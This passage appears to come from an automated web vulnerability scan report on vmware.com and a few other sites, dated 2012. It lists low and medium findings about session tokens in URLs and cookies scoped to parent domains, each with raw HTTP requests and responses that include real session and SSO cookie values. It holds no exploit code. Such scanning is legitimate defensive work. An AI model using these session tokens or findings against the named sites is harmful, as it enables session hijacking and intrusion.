<a href="http://kb.vmware.com/selfservice/microsites/microsite.do;jsessionid=5587A37661ED6A4D8737EC2BB2CCF0AE" title="&#25628;&#32034;&#30693;&#35782;&#24211;">&#25628;&#32034;&#30693;&#35782;&#24211;</a>
...[SNIP]...
6.4. http://www.vmware.com/company/news/articles/
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://www.vmware.com
Path:   /company/news/articles/

Request 1

GET /company/news/articles/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:44 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 135526


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
<br />
<a href="http://www.crn.com/news/cloud/232601231/vmware-adds-java-debugging-in-micro-cloud-foundry-update.htm;jsessionid=dk2heaCc7OSWvUHH97MH8A**.ecappj01" title="VMware Adds Java Debugging In Micro Cloud Foundry Update">VMware Adds Java Debugging In Micro Cloud Foundry Update</a>
...[SNIP]...
<br />
<a href="http://www.crn.com/news/cloud/231901343/vmware-expands-its-cloud-infrastructure-management-arsenal.htm;jsessionid=zkyo6PMlBluusxcGHmHC-w**.ecappj01" title="VMware Expands Its Cloud Infrastructure Management Arsenal">VMware Expands Its Cloud Infrastructure Management Arsenal</a>
...[SNIP]...
<br />
<a href="http://www.crn.com/slide-shows/cloud/231601824/vmwares-eschenbach-six-ways-to-drive-transformation-into-cloud.htm;jsessionid=DIFyAIIwqJif5JI54B6Kxw**.ecappj03" title="VMware's Eschenbach: Six Ways To Drive Transformation Into Cloud">VMware's Eschenbach: Six Ways To Drive Transformation Into Cloud</a>
...[SNIP]...
<br />
<a href="http://www.crn.com/news/data-center/231601445/vmware-launches-view-5-heralds-performance-improvements.htm;jsessionid=+6cs5UncefZ174j6rMHLHA**.ecappj03" title="VMware Launches View 5, Heralds Performance Improvements">VMware Launches View 5, Heralds Performance Improvements</a>
...[SNIP]...
<br />
<a href="http://www.crn.com/news/cloud/229700230/vmware-acquires-socialcast-adds-enterprise-collaboration-to-cloud-platform.htm;jsessionid=xWMpdCce2oakjYEEO4ZhRg**.ecappj01" title="socialcast">VMware Acquires Socialcast, Adds Enterprise Collaboration To Cloud Platform</a>
...[SNIP]...
<br />
<a href="http://www.crn.com/news/data-center/229202512/vmware-seeks-bigger-piece-of-enterprise-with-zimbra-7-launch.htm;jsessionid=pvvKl4KtWI8imTPYrN4Yjw**.ecappj01" title="VMware Seeks Bigger Piece of Enterprise With Zimbra 7 Launch">VMware Seeks Bigger Piece of Enterprise With Zimbra 7 Launch</a>
...[SNIP]...
<br />
<a href="http://www.crn.com/slide-shows/channel-programs/228300259/the-25-most-influential-executives-of-2010.htm;jsessionid=zJ2JfWJZbxPN34dK8E4dmQ**.ecappj02?pgno=2" title="The 25 Most Influential Executives Of 2010 1. Paul Maritz, President and CEO, VMware">The 25 Most Influential Executives Of 2010 1. Paul Maritz, President and CEO, VMware</a>
...[SNIP]...
<br />
<a href="http://www.crn.com/software/221600927;jsessionid=ZJUHEXLH4NGUVQE1GHPSKHWATMY32JVN" title="VMware View 4 Speeds Up Desktop Virtualization">VMware View 4 Speeds Up Desktop Virtualization</a>
...[SNIP]...
6.5. http://www.vmware.com/company/news/awards.html
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://www.vmware.com
Path:   /company/news/awards.html

Request 1

GET /company/news/awards.html HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:46 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 137667


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
</p>&#160;[&#160;
<a href="http://www.crn.com/slide-shows/channel-programs/231902705/2011-best-companies-to-partner-with.htm;jsessionid=uS-C1bXyYEBMDwYPnu1euw**.ecappj02?pgno=24" title="http://www.crn.com/slide-shows/channel-programs/231902705/2011-best-companies-to-partner-with.htm;jsessionid=uS-C1bXyYEBMDwYPnu1euw**.ecappj02?pgno=24">more</a>
...[SNIP]...
<li>CRN named Colleen Kapase, Julie Criscenti Heck, and Maureen Lonergan Top 100 Women in the Channel for 2010&#160;&#160;[&#160;
<a href="http://www.crn.com/news/channel-programs/226100062/2010-women-of-the-channel.htm;jsessionid=QOewAnVumOt9NF+mnC9+Nw**.ecappj01" title="">more</a>
...[SNIP]...
<li>CRN names&#160; Paul Maritz the Most Influential Executive Of 2010&#160;&#160;[&#160;
<a href="http://www.crn.com/slide-shows/channel-programs/228300259/the-25-most-influential-executives-of-2010.htm;jsessionid=zJ2JfWJZbxPN34dK8E4dmQ**.ecappj02?pgno=2" title=" ">more</a>
...[SNIP]...
<li>Computer Reseller News named VMware a Channel Chief &#160;&#160;[&#160;
<a href="http://www.crn.com/it-channel/223100582;jsessionid=V0HJTFMKUEM1TQE1GHPSKHWATMY32JVN?queryText=2010+Channel+chiefs" title="">more</a>
...[SNIP]...
<li>Computer Reseller News named VMware a Channel Chief&#160;&#160;[&#160;
<a href="http://www.crn.com/hardware/215600312;jsessionid=XUFWDQXO5WNJGQSNDLPCKHSCJUNN2JVN" title="">more</a>
...[SNIP]...
<li>Everything Channel has named VMware the overall winner and Company of the Year in the Server Virtualization Software category in this year&#8217;s Annual Report Card survey&#160;&#160;[&#160;
<a href="http://www.crn.com/it-channel/219400638;jsessionid=05XNTP5XDKLELQE1GHPSKH4ATMY32JVN?cid=ChannelWebBreakingNews" title=" ">more</a>
...[SNIP]...
<li>Everything Channel's XChange game VMware the Federal Program of the Year award&#160;&#160;[&#160;
<a href="http://www.crn.com/government/217801046;jsessionid=NJW5TKMLFRWNSQSNDLPCKHSCJUNN2JVN?pgno=8" title="">more</a>
...[SNIP]...
<li>InformationWeek named VMware President and CEO Paul Maritz an Innovator and Influencer&#160;&#160;[&#160;
<a href="http://www.informationweek.com/shared/printableArticle.jhtml;jsessionid=FPVGGLAKPOWNSQSNDLRSKH0CJUNN2JVN?_requestid=688133&amp;articleID=212900879&amp;_requestid=688133" title="">more</a>
...[SNIP]...
<li>InformationWeek ranked VMware in the top 250 of the InformationWeek 500 list&#160;&#160;[&#160;
<a href="http://www.informationweek.com/iw500/index.jhtml;jsessionid=31RTUKP5PIXYPQE1GHPSKHWATMY32JVN" title="">more</a>
...[SNIP]...
<li>Intelligent Enterprise gave VMware its Editors' Choice award &#160;&#160;[&#160;
<a href="http://www.intelligententerprise.com/channels/performance_management/showArticle.jhtml;jsessionid=5ONLMTNUMPRQQQSNDLRCKHSCJUNN2JVN?articleID=205207028&amp;pgno=1" title="">more</a>
...[SNIP]...
6.6. http://www.vmware.com/fr/
Previous  Next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://www.vmware.com
Path:   /fr/

Request 1

GET /fr/ HTTP/1.1
Host: www.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Content-Language: en
Date: Tue, 01 May 2012 03:51:57 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 83751


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<met
...[SNIP]...
<li>
<a href="http://kb.vmware.com/selfservice/microsites/microsite.do;jsessionid=FF4C9DF473EB946E4324FD32BAF77B52" title="Rechercher dans la base de connaissances">Rechercher dans la base de connaissances</a>
...[SNIP]...
7. Cookie scoped to parent domain
Previous  Next

There are 40 instances of this issue:

7.1. https://my.vmware.com/c/portal/logout
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /c/portal/logout

Request 1

GET /c/portal/logout HTTP/1.1
Host: my.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 302 Moved Temporarily
Location: https://my.vmware.com/web/vmware/login
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 04:22:08 GMT
Vary: Accept-Encoding
Content-Length: 0
Date: Tue, 01 May 2012 04:22:08 GMT
Connection: close
Set-Cookie: JSESSIONID=8AA93E263296864CAD7B8038EBCEC3D6; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: GUEST_LANGUAGE_ID=en_US; Expires=Wed, 01-May-2013 04:22:08 GMT; Path=/
Set-Cookie: COMPANY_ID=""; Domain=.vmware.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: ID=""; Domain=.vmware.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: PASSWORD=""; Domain=.vmware.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: ObFormLoginCookie=wh%3Dweb-prod-sso-1.vmware.com%20wu%3D%2Fgroup%2Fvmware%2Fhome%20wo%3D1%20rh%3Dhttp%3A%2F%2Fmy.vmware.com%20ru%3D%252Fgroup%252Fvmware%252Fhome; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: ObSSOCookie=loggedoutcontinue; Domain=vmware.com; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: TS558d30=9421a00283f7d4cad46fb4250b4e5c4c723fc3f3bed27b3a4f9f63ea; Path=/

7.2. https://my.vmware.com/html/js/barebone.jsp
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /html/js/barebone.jsp

Request 1

GET /html/js/barebone.jsp HTTP/1.1
Host: my.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Expires: Fri, 29 Apr 2022 04:08:19 GMT
Cache-Control: max-age=315360000, public
ETag: "0"
Content-Type: text/html; charset=UTF-8
Date: Tue, 01 May 2012 04:08:19 GMT
Content-Length: 0
Connection: close
Set-Cookie: JSESSIONID=0F2551E12AC2D8F6EF9AC03A2ECA105E; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: TS558d30=61f1351adaeae40f8e3bc759be7fba4a723fc3f3bed27b3a4f9f60c2; Path=/

7.3. https://my.vmware.com/html/portal/css.jsp
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /html/portal/css.jsp

Request 1

GET /html/portal/css.jsp?browserId=other&themeId=vmware_WAR_vmwaretheme&colorSchemeId=01&minifierType=css&languageId=en_US&b=6011&t=1331340778000 HTTP/1.1
Host: my.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://my.vmware.com/web/vmware/evalcenter?p=vmware-vsphere5-ent
Cookie: s_nr=1335320426225; __utma=106857756.1485474146.1335843542.1335843542.1335843948.2; __utmb=106857756.2.10.1335843948; __utmc=106857756; __utmz=106857756.1335843948.2.2.utmcsr=WWW_ProdSelTool_vsphere-standard_LearnMore|utmccn=src-tagged-url|utmcmd=src; first_pv_191807=1; _jsuid=2410290445; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520products%252520%25253A%252520vsphere%252520%25253A%252520mid-size-and-enterprise-business%252520%25253A%252520overview.html%2526pidt%253D1%2526oid%253Dhttp%25253A//www.vmware.com/go/EvaluatevSphere%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; s_evar13=WWW_ProdSelTool_vsphere-standard_LearnMore; __unam=c7447e-13706811b44-1074dca4-1; JSESSIONID=E767A3875242960C32EB925383A61EEA; GUEST_LANGUAGE_ID=en_US; COOKIE_SUPPORT=true; TS558d30=078a81198685974899c734cf0060de03723fc3f3bed27b3a4f9f5c83

Response 1

HTTP/1.1 200 OK
Vary: Accept-Encoding
Expires: Fri, 29 Apr 2022 04:19:37 GMT
Cache-Control: max-age=315360000, public
Last-Modified: Sat, 10 Mar 2012 00:52:58 GMT
ETag: "bd48f65"
Content-Type: text/css
Content-Length: 97028
Date: Tue, 01 May 2012 04:19:37 GMT
Connection: keep-alive
Set-Cookie: JSESSIONID=106D64830BC723CF9DEA10C5229890B2; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: TS558d30=9421a00283f7d4cad46fb4250b4e5c4c723fc3f3bed27b3a4f9f63ea; Path=/

body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,input,textarea,p,blockquote,th,td{margin:0;padding:0;}table{border-collapse:collapse;border-spacing:0;clear:both;}fieldset,img{border-wid
...[SNIP]...
7.4. https://my.vmware.com/web/vmware/evalcenter
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /web/vmware/evalcenter

Request 1

GET /web/vmware/evalcenter?p=vmware-vsphere5-ent HTTP/1.1
Host: my.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.vmware.com/products/vsphere/mid-size-and-enterprise-business/overview.html?src=WWW_ProdSelTool_vsphere-standard_LearnMore
Cookie: s_nr=1335320426225; __utma=106857756.1485474146.1335843542.1335843542.1335843948.2; __utmb=106857756.2.10.1335843948; __utmc=106857756; __utmz=106857756.1335843948.2.2.utmcsr=WWW_ProdSelTool_vsphere-standard_LearnMore|utmccn=src-tagged-url|utmcmd=src; first_pv_191807=1; _jsuid=2410290445; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520products%252520%25253A%252520vsphere%252520%25253A%252520mid-size-and-enterprise-business%252520%25253A%252520overview.html%2526pidt%253D1%2526oid%253Dhttp%25253A//www.vmware.com/go/EvaluatevSphere%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; s_evar13=WWW_ProdSelTool_vsphere-standard_LearnMore; __unam=c7447e-13706811b44-1074dca4-1

Response 1

HTTP/1.1 200 OK
Liferay-Portal: Liferay Portal Enterprise Edition 6.0 EE SP1 (Bunyan / Build 6011 / January 13, 2011)
ETag: "376e987d"
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 03:46:11 GMT
Vary: Accept-Encoding
Content-Length: 67042
Date: Tue, 01 May 2012 03:46:11 GMT
Connection: keep-alive
Set-Cookie: JSESSIONID=E767A3875242960C32EB925383A61EEA; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: GUEST_LANGUAGE_ID=en_US; Expires=Wed, 01-May-2013 03:46:11 GMT; Path=/
Set-Cookie: COOKIE_SUPPORT=true; Expires=Wed, 01-May-2013 03:46:11 GMT; Path=/
Set-Cookie: TS558d30=078a81198685974899c734cf0060de03723fc3f3bed27b3a4f9f5c83; Path=/



...[SNIP]...
7.5. https://my.vmware.com/web/vmware/forgot-password
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /web/vmware/forgot-password

Request 1

GET /web/vmware/forgot-password HTTP/1.1
Host: my.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Liferay-Portal: Liferay Portal Enterprise Edition 6.0 EE SP1 (Bunyan / Build 6011 / January 13, 2011)
ETag: "85de2a6c"
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 04:07:47 GMT
Date: Tue, 01 May 2012 04:07:47 GMT
Content-Length: 18718
Connection: close
Set-Cookie: JSESSIONID=033E00E9E27C042772119D6465E718CF; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: GUEST_LANGUAGE_ID=en_US; Expires=Wed, 01-May-2013 04:07:47 GMT; Path=/
Set-Cookie: myvmware-www=VVaYJi1kZYFYv8q/PAtM7dD9uyJpwX8jlchEFGmCEtB6PlnQ9u0RLvyL4fpoKLuzX1McVEKov/TD2A==; path=/
Set-Cookie: TS558d30=61f1351adaeae40f8e3bc759be7fba4a723fc3f3bed27b3a4f9f60c2; Path=/



...[SNIP]...
7.6. https://my.vmware.com/web/vmware/login
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /web/vmware/login

Request 1

GET /web/vmware/login HTTP/1.1
Host: my.vmware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://my.vmware.com/web/vmware/forgot-password?username=254erwdgfx
Cookie: s_nr=1335320426225; __utma=106857756.1485474146.1335843542.1335843542.1335843948.2; __utmb=106857756.2.10.1335843948; __utmc=106857756; __utmz=106857756.1335843948.2.2.utmcsr=WWW_ProdSelTool_vsphere-standard_LearnMore|utmccn=src-tagged-url|utmcmd=src; _jsuid=2410290445; s_cc=true; ev6=xss%2Bsql%2Binjection; s_sq=vmwaremyvmwareprod%2C%20vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520my%252520%25253A%252520web%252520%25253A%252520forgot-password%2526pidt%253D1%2526oid%253Dhttps%25253A//my.vmware.com/group/vmware/home%2526ot%253DA%26vmwareglobal%3D%2526pid%253Dvmware%252520%25253A%252520products%252520%25253A%252520vsphere%252520%25253A%252520mid-size-and-enterprise-business%252520%25253A%252520overview.html%2526pidt%253D1%2526oid%253Dhttp%25253A//www.vmware.com/go/EvaluatevSphere%2526ot%253DA; s_vi=[CS]v1|27CFADD0051D0829-40000104A02C3C94[CE]; s_evar13=WWW_ProdSelTool_vsphere-standard_LearnMore; __unam=c7447e-13706811b44-1074dca4-1; JSESSIONID=E767A3875242960C32EB925383A61EEA; GUEST_LANGUAGE_ID=en_US; COOKIE_SUPPORT=true; TS558d30=61f1351adaeae40f8e3bc759be7fba4a723fc3f3bed27b3a4f9f60c2; myvmware-wwwa-prod=pjfc2X6uYgrPuP+FuADnKD5eFD3y9I857IDHHXuhGu9dLh8habm+vLzPOE3srvQIzYp/Apqc0xQXly4=; jive.server.info="serverName=communities.vmware.com:serverPort=80:contextPath=:localName=localhost.localdomain:localPort=9001:localAddr=127.0.0.1"; JSESSIONID=025A88512E5F5C9891422A7130C1A850.node0; BIGipServercommunities-prod-vip-2-pool=1430155530.20480.0000; ObSSOCookie=loggedoutcontinue; ObFormLoginCookie=wh%3Dweb-prod-sso-1.vmware.com%20wu%3D%2Fgroup%2Fvmware%2Fhome%20wo%3D1%20rh%3Dhttp%3A%2F%2Fmy.vmware.com%20ru%3D%252Fgroup%252Fvmware%252Fhome

Response 1

HTTP/1.1 200 OK
Liferay-Portal: Liferay Portal Enterprise Edition 6.0 EE SP1 (Bunyan / Build 6011 / January 13, 2011)
ETag: "38f439bc"
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 04:07:46 GMT
Vary: Accept-Encoding
Content-Length: 24373
Date: Tue, 01 May 2012 04:07:46 GMT
Connection: keep-alive
Set-Cookie: JSESSIONID=9178130F361782F37C3365E4BF9C14DF; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: GUEST_LANGUAGE_ID=en_US; Expires=Wed, 01-May-2013 04:07:46 GMT; Path=/
Set-Cookie: TS558d30=61f1351adaeae40f8e3bc759be7fba4a723fc3f3bed27b3a4f9f60c2; Path=/



...[SNIP]...
7.7. https://my.vmware.com/web/vmware/login-education
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /web/vmware/login-education

Request 1

GET /web/vmware/login-education HTTP/1.1
Host: my.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Liferay-Portal: Liferay Portal Enterprise Edition 6.0 EE SP1 (Bunyan / Build 6011 / January 13, 2011)
ETag: "2427e579"
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 04:21:33 GMT
Date: Tue, 01 May 2012 04:21:33 GMT
Content-Length: 20210
Connection: close
Set-Cookie: JSESSIONID=5C8492362ADCBD817E5F25476461F38F; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: GUEST_LANGUAGE_ID=en_US; Expires=Wed, 01-May-2013 04:21:33 GMT; Path=/
Set-Cookie: TS558d30=9421a00283f7d4cad46fb4250b4e5c4c723fc3f3bed27b3a4f9f63ea; Path=/



...[SNIP]...
7.8. https://my.vmware.com/web/vmware/login-partners
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /web/vmware/login-partners

Request 1

GET /web/vmware/login-partners HTTP/1.1
Host: my.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Liferay-Portal: Liferay Portal Enterprise Edition 6.0 EE SP1 (Bunyan / Build 6011 / January 13, 2011)
ETag: "9c86744a"
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 04:21:32 GMT
Date: Tue, 01 May 2012 04:21:32 GMT
Content-Length: 20514
Connection: close
Set-Cookie: JSESSIONID=52AFAE55F839FF36AF82F8F99991B76A; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: GUEST_LANGUAGE_ID=en_US; Expires=Wed, 01-May-2013 04:21:32 GMT; Path=/
Set-Cookie: TS558d30=9421a00283f7d4cad46fb4250b4e5c4c723fc3f3bed27b3a4f9f63ea; Path=/



...[SNIP]...
7.9. https://my.vmware.com/web/vmware/registration
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /web/vmware/registration

Request 1

GET /web/vmware/registration HTTP/1.1
Host: my.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Liferay-Portal: Liferay Portal Enterprise Edition 6.0 EE SP1 (Bunyan / Build 6011 / January 13, 2011)
ETag: "dac15b04"
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 04:07:48 GMT
Date: Tue, 01 May 2012 04:07:48 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=F088DFEDD327B21F6A22DB92011DA33B; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: GUEST_LANGUAGE_ID=en_US; Expires=Wed, 01-May-2013 04:07:48 GMT; Path=/
Set-Cookie: myvmware-www=ZWVgRI4sJoZ0mMC/PAtM7dD9uyJpwQeOWd9Vfw2E5mzdRByW9LBpXFAm/oub2l+jamC7Fl6xWpE7Qg==; path=/
Set-Cookie: TS558d30=61f1351adaeae40f8e3bc759be7fba4a723fc3f3bed27b3a4f9f60c2; Path=/
Content-Length: 45988



...[SNIP]...
7.10. https://my.vmware.com/web/vmware/terms-of-use
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://my.vmware.com
Path:   /web/vmware/terms-of-use

Request 1

GET /web/vmware/terms-of-use HTTP/1.1
Host: my.vmware.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Liferay-Portal: Liferay Portal Enterprise Edition 6.0 EE SP1 (Bunyan / Build 6011 / January 13, 2011)
ETag: "b2526d1c"
Content-Type: text/html;charset=UTF-8
Cache-Control: max-age=0
Expires: Tue, 01 May 2012 04:21:25 GMT
Date: Tue, 01 May 2012 04:21:25 GMT
Content-Length: 18734
Connection: close
Set-Cookie: JSESSIONID=7EDB3FF4F0024915DC1D351BCC17A1B0; Domain=.vmware.com; Path=/; HttpOnly
Set-Cookie: GUEST_LANGUAGE_ID=en_US; Expires=Wed, 01-May-2013 04:21:25 GMT; Path=/
Set-Cookie: myvmware-www=Xr+xZbUQZ9PE2zDZmno0/1/WF87R78VnTqaq3P7RiUYKojiMrDYPH6SnOM6rKfEO/N4HAQlru4rwrw==; path=/
Set-Cookie: TS558d30=9421a00283f7d4cad46fb4250b4e5c4c723fc3f3bed27b3a4f9f63ea; Path=/



...[SNIP]...
7.11. http://support.dell.com/
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://support.dell.com
Path:   /

Request 1

GET / HTTP/1.1
Host: support.dell.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Expires: Thu, 01 Dec 1994 8:00:00 GMT
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: StormSCookie=~tidusengen=Support; domain=.dell.com; path=/
Set-Cookie: lwp=c=us&l=en&s=gen; domain=.dell.com; path=/
X-Powered-By: ASP.NET
X-UA-Compatible: IE=7
P3P: CP=" BUS CAO CNT COM CUR DEV DSP INT NAV OUR PSA PSD SAM STA TAI UNI "
P3P: policyref="http://www.dell.com/w3c/p3p.xml", CP="BUS CAO CNT COM CUR DEV DSP INT NAV OUR PSA PSD SAM STA TAI UNI"
Set-Cookie: SITESERVER=ID=fbabb31db568457a888e9ad7b1552f34; domain=.dell.com; path=/; expires=Mon, 01-May-2017 00:11:26 GMT;
Set-Cookie: SITESERVER_SESSION=ID=fbabb31db568457a888e9ad7b1552f34; domain=.dell.com; path=/;
Date: Tue, 01 May 2012 00:11:25 GMT
Connection: close
Content-Length: 22872

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<!-- Contents of this file are Copyright 2012, Dell Inc. -->
<html>
<head>
   <TITLE>Welcom
...[SNIP]...
7.12. http://www.educationcanada.com/
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.educationcanada.com
Path:   /

Request 1

GET / HTTP/1.1
Host: www.educationcanada.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:13:00 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.3.8
Set-Cookie: PHPSESSID=2b0ori2scblu8ar4bvflrqldf5; path=/; domain=.educationcanada.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=ISO-8859-1
Content-Length: 38354


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
   <title>Teaching Jobs in Canada - powered by Education Canada Network</title>
       
       <meta name="description" content="Teach
...[SNIP]...
7.13. http://www.jasper-da.com/google/verification_ip&client=ca-dp-godaddy2_xml
Previous  Next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.jasper-da.com
Path:   /google/verification_ip&client=ca-dp-godaddy2_xml

Request 1

GET /google/verification_ip&client=ca-dp-godaddy2_xml HTTP/1.1
Host: www.jasper-da.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Tue, 01 May 2012 00:11:28 GMT
Server: Apache/2.2.9 (Debian) mod_wsgi/2.5 Python/2.5.2 PHP/5.2.6-1+lenny16 with Suhosin-Patch mod_perl/2.0.4 Perl/v5.10.0
X-Powered-By: PHP/5.2.6-1+lenny16
Set-Cookie: SESS7512e6ee1229c5df51179f9016cea623=a01a088b9290ee6eb82b49d9de981c6a; expires=Thu, 24 May 2012 03:44:48 GMT; path=/; domain=.jasper-da.com
Last-Modified: Tue, 01 May 2012 00:11:28 GMT
